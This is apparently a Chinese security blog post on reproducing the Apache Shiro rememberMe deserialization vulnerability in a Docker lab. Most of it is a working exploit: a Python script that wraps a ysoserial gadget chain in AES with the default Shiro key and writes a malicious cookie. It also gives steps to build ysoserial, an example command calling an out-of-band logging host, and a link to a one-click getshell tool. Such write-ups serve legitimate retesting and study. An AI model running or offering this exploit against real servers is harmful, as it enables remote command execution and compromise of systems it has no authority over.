目前已出图形化界面工具,一键即可检测和getshell
工具地址:
https://github.com/feihong-cs/ShiroExploit
使用案例:
分割线(以上内容为最新更新内容)
————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
今天上班的时候收到了一个复测的任务,打开一看,shiro反序列化漏洞,What?这是个什么东西,经百度查找后才知道,原来是Java的开发框架,好吧,还是没听说过。。由于初测报告上的过程过于简略(唯一有用的只有KEY),所以不得不自己研究一番了。
漏洞版本<=1.2.4,使用docker搭建
docker pull medicean/vulapps:s\_shiro\_1
docker run -d -p 80:8080 medicean/vulapps:s\_shiro\_1
访问80端口即可访问漏洞环境
1、生成payload的脚本
将下面的脚本保存至本地命名为shiro_poc.py,然后进入linux系统/tmp目录下(如想使用其他KEY,替换脚本中的即可)
不要使用vi/vim命令创建文件再粘贴过去,粘贴会破坏代码的布局格式
命令行输入rz回车,就会跳出文件上传的页面(如果报错,pip安装一下),选择文件上传即可
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode\_rememberme(command):
popen \= subprocess.Popen(\['java', '\-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command\], stdout=subprocess.PIPE)
BS \= AES.block\_size
pad \= lambda s: s + ((BS - len(s) % BS) \* chr(BS - len(s) % BS)).encode()
key \= "kPH+bIxk5D2deZiIxcaaaA=="
mode \= AES.MODE\_CBC
iv \= uuid.uuid4().bytes
encryptor \= AES.new(base64.b64decode(key), mode, iv)
file\_body \= pad(popen.stdout.read())
base64\_ciphertext \= base64.b64encode(iv + encryptor.encrypt(file\_body))
return base64\_ciphertext
if \_\_name\_\_ == '\_\_main\_\_':
payload \= encode\_rememberme(sys.argv\[1\])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
2、安装模块
脚本使用的是python3,安装模块时要使用pip3 install 模块名
其中有一个模块需要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipher
pip3 install pycrypto
3、ysoserial的jar文件
依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
在脚本后面输入你想要执行的命令,例:
python3 shiro\_poc.py "ping fkl2af.ceye.io"
然后便会在脚本所在目录下生成文件payload.cookie
浏览器打开漏洞环境并登陆进去,点击account page抓包
用payload.cookie中内容替换Cookie中的全部内容,Go
到ceye平台查看即可到流量记录
最后感谢达哥和豪哥的帮助,让我顺利完成复测
如想学习更多漏洞复现,欢迎关注公众号Timeline Sec
参考链接: